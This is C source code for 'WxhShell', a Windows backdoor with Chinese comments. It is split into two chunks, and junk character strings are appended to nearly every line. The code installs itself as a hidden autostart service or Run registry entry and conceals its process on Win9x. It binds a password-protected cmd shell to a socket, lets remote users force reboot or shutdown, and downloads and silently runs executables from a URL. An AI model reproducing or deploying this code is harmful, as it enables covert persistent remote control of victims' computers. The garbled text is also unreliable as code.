    } ]piM/v\  
    break; |F~88j{VN  
    } T:#S86m  
  // 关机 k.>6nho`TV  
  case 'd': { ,|x\MHd?t_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >r:X~XnRUj  
    if(Boot(SHUTDOWN)) Kfd_uXL>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  tJ1-DoU  
    else { 4.k`[q8  
    closesocket(wsh); y$h"ty{g  
    ExitThread(0); A5+5J_)*  
    } _@|fva&s,;  
    break; AgI>  
    } HwW6tQ  
  // 获取shell U 1F-~ {r  
  case 's': { 7%opzdS#  
    CmdShell(wsh); z"av|(?d  
    closesocket(wsh); d q pgf@  
    ExitThread(0); =jG?v'X  
    break; G:hU{S7  
  } r:#Q9EA  
  // 退出 uri*lC  
  case 'x': { _jDS"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5l&jPk!=  
    CloseIt(wsh); V@Kn24''  
    break; 4zX=3iBt  
    } Q%M_   
  // 离开 Dpj-{q7C  
  case 'q': { :R3P 58>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #ZF>WoC@e?  
    closesocket(wsh); n\* JaY  
    WSACleanup(); 0k.v0a7%  
    exit(1); aYBTrOdz  
    break; l<n5gfJ  
        } Y'&8L'2Z[  
  } rkq)&l=ny  
  } QD}1?)}  
U%n,XOJ  
  // 提示信息 p70,\&@3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;fkSrdj  
} 9IOGc}  
  } Wv NI=>  
}"0{zrz  
  return; 7 {nl..`  
} y-<$bA[K~  
uNg'h/^NZ|  
// shell模块句柄 Vbo5`+NAis  
int CmdShell(SOCKET sock) kI<Wvgo L  
{ OuNj:  
STARTUPINFO si; k~R{Y~W!!  
ZeroMemory(&si,sizeof(si)); 'hy?jQ'|e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $59nu7yr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }!=gP.Zu^  
PROCESS_INFORMATION ProcessInfo; {Wa~}1`Kl  
char cmdline[]="cmd"; L2d:.&5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @$EjD3Z-  
  return 0; yqYhe-"  
} DQMPAj.  
*3P3M}3~\  
// 自身启动模式 HIsB|  
int StartFromService(void) @kz!{g]Sn  
{ A1=_nt)5  
typedef struct =hPG_4#  
{ 5^b i 7J  
  DWORD ExitStatus; b h*^{  
  DWORD PebBaseAddress; `,Xb8^M2  
  DWORD AffinityMask; xl3zy~;M  
  DWORD BasePriority; D{Oq\*  
  ULONG UniqueProcessId; V0s,f .a  
  ULONG InheritedFromUniqueProcessId; }2h't.Z<u  
}   PROCESS_BASIC_INFORMATION; y&y/cML?  
T0YDfo  
PROCNTQSIP NtQueryInformationProcess; E*OG-r   
-.^3;-[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J"5jy$30'$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z;[gEA+I  
W"dU1]  
  HANDLE             hProcess; 'YBi5_  
  PROCESS_BASIC_INFORMATION pbi; Xthtw*  
B>sCP"/uV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]GQv4-y  
  if(NULL == hInst ) return 0; QH4k!^  
0r0c|*[+4z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jc`Rs"2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 75kKDR}6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wgav>7!9  
kJI3`gS+  
  if (!NtQueryInformationProcess) return 0; pF|8OB%  
*wV iH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jYrym-  
  if(!hProcess) return 0; ZH_FA  
stX'yya  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {,i=>%X*  
`b#/[3  
  CloseHandle(hProcess); `'*F 1F  
2H[=l Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D!X>O}  
if(hProcess==NULL) return 0; "Ys_ \  
$4DFgvy$  
HMODULE hMod; Vu_&~z7h  
char procName[255];  qe[  
unsigned long cbNeeded; VPWxHVf  
aF,j J}On  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4g>1G qv6  
jo<>Hc{g>  
  CloseHandle(hProcess); `E{;85bDH  
anK[P'Y  
if(strstr(procName,"services")) return 1; // 以服务启动 ZEL/Ndk  
SrdE>fNbs  
  return 0; // 注册表启动 qo6 1O\qm  
} N )'8o}E  
I0I_vu  
// 主模块 *4-r`k|@>/  
int StartWxhshell(LPSTR lpCmdLine) Ok*VQKyDLH  
{ `@4 2jG}*  
  SOCKET wsl; :-$cdZ3E  
BOOL val=TRUE; 2IKxh  
  int port=0; ]#vWKNv:;  
  struct sockaddr_in door; Q.r B\8ea  
tceIA8d6  
  if(wscfg.ws_autoins) Install(); FTbT9   
I%pCm||p  
port=atoi(lpCmdLine); |)28=Z|Z  
}Vs~RJM)}  
if(port<=0) port=wscfg.ws_port; \k|_&hG  
xR0~S 3caI  
  WSADATA data; yEE|e&#>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BXT 80a\  
n"XdHW0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tq9,c#}&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #x, ]D  
  door.sin_family = AF_INET; 2ZU@>W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ''$`;?t>  
  door.sin_port = htons(port); L v  
'Y hA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G A'*58  
closesocket(wsl); M7`UoTc+>d  
return 1; 1f+*Tmc5]Q  
} X=fPGyhZ  
bs:C1j\&  
  if(listen(wsl,2) == INVALID_SOCKET) { )EhTM-1  
closesocket(wsl); "g x5XW&  
return 1; @:S$|D~  
} yfPCGCOW?  
  Wxhshell(wsl); H%*~l  
  WSACleanup(); ^ze@#Cp  
j'G"ZPw1  
return 0; {fAh@:{@  
(jp1; #P!  
} xnl<<}4pJ  
{;]uL`abi?  
// 以NT服务方式启动 :`{9x%o;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *raIV]W3  
{ fG u5%T,  
DWORD   status = 0; k\4g|Lya  
  DWORD   specificError = 0xfffffff; 6b-  
^?H\*N4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9`ri J4zl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w k-Mu\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N2[, aU  
  serviceStatus.dwWin32ExitCode     = 0; L~^e\^sP  
  serviceStatus.dwServiceSpecificExitCode = 0; 1.hOE>A%  
  serviceStatus.dwCheckPoint       = 0; +9<,3IJe6  
  serviceStatus.dwWaitHint       = 0; K?z*3^^X;  
u+%)JhIp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B ]|5?QP-  
  if (hServiceStatusHandle==0) return; ;y:#S^|?-z  
d/0/$Bz}P  
status = GetLastError(); X !&"&n  
  if (status!=NO_ERROR) NTv#{7q  
{ wo,""=l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MuCQxzvkhf  
    serviceStatus.dwCheckPoint       = 0; `77;MGg*  
    serviceStatus.dwWaitHint       = 0; v&t`5-e-A  
    serviceStatus.dwWin32ExitCode     = status; OhA^UP01-  
    serviceStatus.dwServiceSpecificExitCode = specificError; /ChJ~g"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jD&}}:Dj  
    return; k#l'ko/X  
  } {q5hF5!`)  
o`<h=+a\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H;7O\  
  serviceStatus.dwCheckPoint       = 0; :vn0|7W4  
  serviceStatus.dwWaitHint       = 0; UQC'(>.}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dg!1wD   
} ')C _An>X6  
K1m!S9d`x  
// 处理NT服务事件,比如:启动、停止 ]pM5?^<~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "k>{b:R|  
{ b?+ Yo>yF8  
switch(fdwControl) w]]x[D]L  
{ sqq/b9 uL/  
case SERVICE_CONTROL_STOP: &(z8GYBr  
  serviceStatus.dwWin32ExitCode = 0; x9XGCr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uAPLT~  
  serviceStatus.dwCheckPoint   = 0; 1A,4 Aw<  
  serviceStatus.dwWaitHint     = 0; =$:4v`W0(  
  { Y\\3g_YBF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b&U5VA0=1  
  } dK=D=5r,  
  return; 0C9QAJa  
case SERVICE_CONTROL_PAUSE: i9#`F.7F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dpc=yXg>"c  
  break; Gaw,1Ow!`2  
case SERVICE_CONTROL_CONTINUE: 2uI`$A:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (&N$W&  
  break; Sgjr4axu  
case SERVICE_CONTROL_INTERROGATE: iTKG,$G  
  break; ?kT~)k  
}; IdQwLt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NO0[`jy(  
} ey9fbS ^I  
!0d9<SVC  
// 标准应用程序主函数 he#Tr'j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {ra Esb-X  
{ [nhLhl4S  
O*+w_fox  
// 获取操作系统版本 ?(`nBlWQ5  
OsIsNt=GetOsVer(); _If@#WnoyA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]R2Z-2  
n WO~v{h3J  
  // 从命令行安装 cwDD(j  
  if(strpbrk(lpCmdLine,"iI")) Install(); eBLHT  
<O`q3u'l  
  // 下载执行文件 '%JMnU  
if(wscfg.ws_downexe) { RmCn&-i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5.+$v4  
  WinExec(wscfg.ws_filenam,SW_HIDE); +Fkx")  
} OFPd6,(E  
x.yb4i=Jq  
if(!OsIsNt) { Z "+rg9/p  
// 如果时win9x,隐藏进程并且设置为注册表启动 .DV#-tUh  
HideProc(); R!M|k%(  
StartWxhshell(lpCmdLine); &bOodkOb  
} +kdU%Sm  
else Ff1M~MhG  
  if(StartFromService()) *{4{<O<4  
  // 以服务方式启动 sN[@mAoH  
  StartServiceCtrlDispatcher(DispatchTable); X\^3,k."  
else #L1yL<'  
  // 普通方式启动 .q;RNCUt  
  StartWxhshell(lpCmdLine); XN0RT>@  
802]M  
return 0; =f{Z~`3  
} N;Gf,pE  
BYA=M*f  
JY,l#?lM{  
1J!tcj1(  
=========================================== HDfQ9__  
">4[+'  
k H( 3  
94>7-d  
^Qb!k/$3y  
*rMN,B@  
" <?`e9o  
qo&SJDG  
#include <stdio.h> h 19.b:JT  
#include <string.h> ",,qFM!  
#include <windows.h> B#/~U`t*  
#include <winsock2.h> &hM,b!R|  
#include <winsvc.h> -QHzf&D?  
#include <urlmon.h> B'#gs'fl  
d'eM(4R@  
#pragma comment (lib, "Ws2_32.lib") ,:Y=,[n  
#pragma comment (lib, "urlmon.lib") =S?-=jPtg  
u BW  
#define MAX_USER   100 // 最大客户端连接数 Ml_:Q]kl^  
#define BUF_SOCK   200 // sock buffer P^{`d_[K%  
#define KEY_BUFF   255 // 输入 buffer ^SL}wC x  
(UiH3Q9C]%  
#define REBOOT     0   // 重启 g5TLX &Bd  
#define SHUTDOWN   1   // 关机 dT-O8  
6`PGV+3j  
#define DEF_PORT   5000 // 监听端口 {10+(Vl  
Y&!McM!Jw  
#define REG_LEN     16   // 注册表键长度 P)o[p(  
#define SVC_LEN     80   // NT服务名长度 ~TmHnAz  
W9V=hQ2  
// 从dll定义API Dqo:X`<bT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qi5>GX^t]b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g_U*_5doA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]8j5Ou6#y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1oVDOo  
uC$4TnoQx.  
// wxhshell配置信息 1PjX:]:  
struct WSCFG { XS~w_J#q  
  int ws_port;         // 监听端口 9$w)_RX9W  
  char ws_passstr[REG_LEN]; // 口令 '1T v1  
  int ws_autoins;       // 安装标记, 1=yes 0=no |Z)/  
  char ws_regname[REG_LEN]; // 注册表键名 &T4Cn@  
  char ws_svcname[REG_LEN]; // 服务名 _\V{X}ftqa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sT8kVN|Uv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Zi,nHg8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |D_n4#X7u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OsuSx^}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iegPEb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U},W/g-  
%li{VDb  
}; PYRwcJ$b\d  
*g_>eNpXD  
// default Wxhshell configuration dL Py%q  
struct WSCFG wscfg={DEF_PORT, R=f5:8D<-  
    "xuhuanlingzhe", 9"v ox   
    1, JL*]9$o  
    "Wxhshell", (6_/n&mF  
    "Wxhshell", u=N;P  
            "WxhShell Service", xuC6EK+  
    "Wrsky Windows CmdShell Service", G`<1>%" F  
    "Please Input Your Password: ", \>CBam8d  
  1, wB 0WR  
  "http://www.wrsky.com/wxhshell.exe", ^{,}, i  
  "Wxhshell.exe" GTX&:5H\t  
    }; (IWd?,H,n  
e @MCumc~+  
// 消息定义模块 PzG:M7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @!tmUme1c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2/W0y!qh1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e&I.kC"j6  
char *msg_ws_ext="\n\rExit."; W;j)ux7jMY  
char *msg_ws_end="\n\rQuit."; ntUVhIE0  
char *msg_ws_boot="\n\rReboot..."; !Kn+*'#  
char *msg_ws_poff="\n\rShutdown..."; PDiorW}]k  
char *msg_ws_down="\n\rSave to "; (>% Vj  
)FiU1E  
char *msg_ws_err="\n\rErr!"; .St h  
char *msg_ws_ok="\n\rOK!"; %JU23c*  
a*@Z^5f  
char ExeFile[MAX_PATH]; 60gn`s,,  
int nUser = 0; mTu9'/$(  
HANDLE handles[MAX_USER]; 5 BG&r*U  
int OsIsNt; CKK5+  
W;*vcbP  
SERVICE_STATUS       serviceStatus; '<j p.sZQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? 9M+fi  
W8/6  
// 函数声明 EG=>F1&M  
int Install(void); 'Z%aBCM  
int Uninstall(void); = ft$j  
int DownloadFile(char *sURL, SOCKET wsh); w4/)r-Z4I  
int Boot(int flag); R3 =E?us!  
void HideProc(void); %Y[/Ucdm  
int GetOsVer(void); )bJ6{&  
int Wxhshell(SOCKET wsl); 0md{e`'q:  
void TalkWithClient(void *cs); `o-<,  
int CmdShell(SOCKET sock); x=<>%m5R  
int StartFromService(void); sm <kb@g  
int StartWxhshell(LPSTR lpCmdLine); x}24?mP  
ZjID<5#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (3S/"ZE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VZl0)YLK  
/ S^m!{  
// 数据结构和表定义 J*k=|+[  
SERVICE_TABLE_ENTRY DispatchTable[] = u8\QhUk'G  
{ `t"Kq+  
{wscfg.ws_svcname, NTServiceMain}, X'p%$HsMG  
{NULL, NULL} [aUT #  
}; ) FsSXnZL  
$G.|5sEk  
// 自我安装 U9%nku4  
int Install(void) /R?uxhV  
{ f;6d/?=~  
  char svExeFile[MAX_PATH]; =?x=CEW  
  HKEY key; \M^4DdAy  
  strcpy(svExeFile,ExeFile); M& L0n%,y5  
TuR?r`P%  
// 如果是win9x系统,修改注册表设为自启动 FC .-u"V  
if(!OsIsNt) { SQvB)NOw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EnAw8Gm*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qWK7K%-$ E  
  RegCloseKey(key); a];i4lt(c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,RH986,6V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 i\[Q8f  
  RegCloseKey(key); 5Wjp_^!e  
  return 0; :O=Vr]Y8K  
    } 6!m#_z8qG3  
  } f2XD^:Gc  
} ~UFsiVpL  
else { kKO]q#9sO  
09i[2n;O  
// 如果是NT以上系统,安装为系统服务 7guxkN#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iIRigW  
if (schSCManager!=0) 4H '&5  
{ %^A++Z$`  
  SC_HANDLE schService = CreateService ou4?`JF)-  
  ( 1@Gv`{v  
  schSCManager, x/v+7Pt_  
  wscfg.ws_svcname, $*> _0{<  
  wscfg.ws_svcdisp, KL{ uhb0f  
  SERVICE_ALL_ACCESS, &WS%sE{p_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =i<(hgD  
  SERVICE_AUTO_START, )^3655mb  
  SERVICE_ERROR_NORMAL, o*8 pM`uw  
  svExeFile, ywBo9|%T  
  NULL, l;i u`  
  NULL, breVTY7 S  
  NULL, g DIB'Y  
  NULL, fR{7780WZ  
  NULL < ,n4|z)  
  ); WVFy ZpB  
  if (schService!=0) }7^*%$  
  { j R:Fih-}  
  CloseServiceHandle(schService); yIP IA%dJ  
  CloseServiceHandle(schSCManager); 6FAP *V;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /zAx`H  
  strcat(svExeFile,wscfg.ws_svcname); $80/ub:R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wb$bCR#?<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `UPmr50Wq  
  RegCloseKey(key); xEqrs6sR  
  return 0; eZo%q,L  
    } ObnB6ShKi  
  } )HcC\[  
  CloseServiceHandle(schSCManager); b9jm= U  
} wVX0!y6  
} ^|z>NV5>  
v.J#d>tvf  
return 1; ~KvCb3~X  
} 1Zzw|@#>o  
X[}%iEWzT  
// 自我卸载 ponvi42u  
int Uninstall(void) "Y6mM_flq  
{ p5ihuV,   
  HKEY key; cgAcAcmY  
(6b%;2k  
if(!OsIsNt) { ':@qE\(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6OUj c  
  RegDeleteValue(key,wscfg.ws_regname); irS62Xe  
  RegCloseKey(key); [0emOS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 75ob1h"  
  RegDeleteValue(key,wscfg.ws_regname); 1:8: yFV  
  RegCloseKey(key); otx7J\4  
  return 0; X88Zd M'  
  } )k Uw,F=6  
} =lnz5H  
} Ek6W:Q:@  
else { 8 B5%IgA  
J!>oC_0]8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uyh#g^r  
if (schSCManager!=0) VdgPb (  
{ 7BnP,Nd"W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {DR+sE  
  if (schService!=0) b6ddXM\Z  
  { 9#7z jrB  
  if(DeleteService(schService)!=0) { ~gD'up@$/  
  CloseServiceHandle(schService); .N2Yxty8>  
  CloseServiceHandle(schSCManager); 7+bzCDKU  
  return 0; H?m2|.  
  } z m%\L/BF  
  CloseServiceHandle(schService); k-/$8C  
  } uVocl,?.L  
  CloseServiceHandle(schSCManager); C}Q2UK-:  
} 2I  
} 195(Kr<5$  
K.SHY!U}  
return 1; [%pZM.jFO  
} ObUQB+  
i`X{pEKP+  
// 从指定url下载文件 DDEn63{  
int DownloadFile(char *sURL, SOCKET wsh) [iD!!{6+  
{ iGIaZ!j aW  
  HRESULT hr; Q\Eq(2p  
char seps[]= "/"; @{G(.S  
char *token; pI4<` K  
char *file; V& m\  
char myURL[MAX_PATH]; ()Z$j,2  
char myFILE[MAX_PATH]; OR O~(%-(e  
4{_5z7ody  
strcpy(myURL,sURL); %9K@`v-  
  token=strtok(myURL,seps); $ uqlJG#`  
  while(token!=NULL) 2=  _.K(  
  { .6*A~%-=[d  
    file=token; h?b{{  
  token=strtok(NULL,seps); \[BnAgsF  
  } E4Sp^,  
f]EHDcC3X  
GetCurrentDirectory(MAX_PATH,myFILE); sQkP@Y  
strcat(myFILE, "\\"); [,c>-jA5  
strcat(myFILE, file); NTC,Vr\A  
  send(wsh,myFILE,strlen(myFILE),0); PSE![whK  
send(wsh,"...",3,0); 7?4>'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ni`qU(I'|  
  if(hr==S_OK) 1/ HofiIa  
return 0; Je'$V%{E  
else :MpCj<<[  
return 1; n1ICW 9  
_Cxs"to  
} anbr3L[!  
86i =N _  
// 系统电源模块 0bor/FU-d  
int Boot(int flag) t9kgACo/M  
{ L\UYt\ks  
  HANDLE hToken; LakP'P6`E  
  TOKEN_PRIVILEGES tkp; lxeolDl  
v{9eEk1  
  if(OsIsNt) { })":F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^6=nL<L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SFjN 5u  
    tkp.PrivilegeCount = 1; h(9K7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^hC|IR$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pJmn;XbME  
if(flag==REBOOT) { \%)p7PNY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T|u)5ww%  
  return 0; {0|^F!1z  
} 1@am'#<  
else { ~HELMS~-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rO C~U85  
  return 0; QAR<.zXvP  
} 7-^d4P+|g  
  } Ne=D $o  
  else { w$pv  
if(flag==REBOOT) { 0@ -LV:jU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ` p)#!  
  return 0; )Z62xK2  
} UZyo:*yB  
else { *aSFJK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *ce h ]v  
  return 0; `0L!F"W  
} 51~:t[N|  
} @~"0|,6VC  
/as1  
return 1; P^ a$?  
} yJ^}uw  
Q$3%aR-2  
// win9x进程隐藏模块  8NLk`/  
void HideProc(void) 5n_<)Ycj  
{ BUtXHD  
{9z EnVfg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4u<oe_n  
  if ( hKernel != NULL ) E]68IuP@'  
  { s>kzt1,x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \=.iM?T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "2 Kh2[K  
    FreeLibrary(hKernel); _ ZJP]5  
  } s)}C&T$Y.  
8 }-"&-X  
return; WKN\* N<  
} wL:3RZB  
8^O|Aa$IF:  
// 获取操作系统版本 4Y Kb~1qkk  
int GetOsVer(void) YYhRdU/g  
{ E0GpoG5C  
  OSVERSIONINFO winfo; Pd>hd0!.%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <@oK ^ja  
  GetVersionEx(&winfo); 2 Y%$6NX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nH;^$b'LZ  
  return 1; :}Z+K*%o-  
  else s{gdTG6v`  
  return 0; -\>Xtix^-c  
} 4B) prQ3  
~}uTC36C\  
// 客户端句柄模块 4re^j4L~o  
int Wxhshell(SOCKET wsl) 0%v p'v  
{ &7;W=uF  
  SOCKET wsh; q K]Wk+  
  struct sockaddr_in client; =E{1QA0  
  DWORD myID; QH+Oi&xH  
Z(Xu>ap  
  while(nUser<MAX_USER) 5=l Ava#  
{ [&e}@!8O`  
  int nSize=sizeof(client); oM J5;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #*5A]"k  
  if(wsh==INVALID_SOCKET) return 1; n:HF&j4C,  
gQ& FO~cr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tc{r}y[)  
if(handles[nUser]==0) }y'KS:Jb  
  closesocket(wsh); @zE_fL  
else CB|Z~_Bm  
  nUser++; A!SHt7ysJ  
  } p=T]%k*^h#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [}.OlR3)  
|XPT2eQ{  
  return 0; QH;1*  
} ;|66AIwDe  
68d(6?OgW  
// 关闭 socket $6R<)]6  
void CloseIt(SOCKET wsh) |NL$? %I  
{ XBCz\f  
closesocket(wsh); eQA89 :j,  
nUser--; xCGvLvFn  
ExitThread(0); k}~|jLu@g  
} st~f}w@  
7R ;!  
// 客户端请求句柄 Wo\NX05-?  
void TalkWithClient(void *cs) (C1]R41'  
{ "QA!z\0\  
5ZUqCl(PX)  
  SOCKET wsh=(SOCKET)cs; 8 "|')f#  
  char pwd[SVC_LEN]; dnH?@ K  
  char cmd[KEY_BUFF]; s<tdn[d  
char chr[1]; yo3'\I  
int i,j; FK0nQ{uB"  
RaKL KZn  
  while (nUser < MAX_USER) { VcA87*pel  
YaDr6)  
if(wscfg.ws_passstr) { Sky!ZN'I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xrc0RWXB8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .pK_j~}P  
  //ZeroMemory(pwd,KEY_BUFF); xrp%b1Sy  
      i=0; 5) nm6sf  
  while(i<SVC_LEN) { 1: XT r  
$yBU ,lu}  
  // 设置超时 [.;VCk)0x  
  fd_set FdRead; %\2 ll=p1  
  struct timeval TimeOut; &K/5AH"q  
  FD_ZERO(&FdRead); kF`2%g+  
  FD_SET(wsh,&FdRead); gCW.;|2  
  TimeOut.tv_sec=8; ',v -&1R  
  TimeOut.tv_usec=0; V\Cu|m&HI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sm{idky)[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ["kk.*&  
bR(rZu5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H4MFTnJ{  
  pwd=chr[0]; d?.ewsC  
  if(chr[0]==0xd || chr[0]==0xa) { 8W9kd"=U  
  pwd=0; Y 8EL  
  break; 8N'[ )Jw  
  } 5F18/:\n  
  i++; YOqGFi~`  
    } glm29hF  
b[%sKl  
  // 如果是非法用户,关闭 socket =LC:1zn4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ML9ZS @  
} /z.Y<xOc  
bODCC5yL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [8v v[n/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !X*+Ct^  
Vr+X!DeY  
while(1) { l q~^&\_#  
[2"a~o\  
  ZeroMemory(cmd,KEY_BUFF); 7o-umZ}8  
D37N*9}  
      // 自动支持客户端 telnet标准   f![?og)I%  
  j=0; sB"Oi|#lk  
  while(j<KEY_BUFF) { 7jQOwzj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4$oNh)+/h  
  cmd[j]=chr[0]; 40w,:$  
  if(chr[0]==0xa || chr[0]==0xd) { N7v7b<6  
  cmd[j]=0; ZEYT17g]  
  break; &!SdO<agZ  
  } p8aGM-+40W  
  j++; <%Zg;]2H`  
    } qcSlqWDk  
R?V s8?  
  // 下载文件 G~5EAeG  
  if(strstr(cmd,"http://")) { wuR Q H]N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z ]V^s8>  
  if(DownloadFile(cmd,wsh)) B4Ko,=pg  
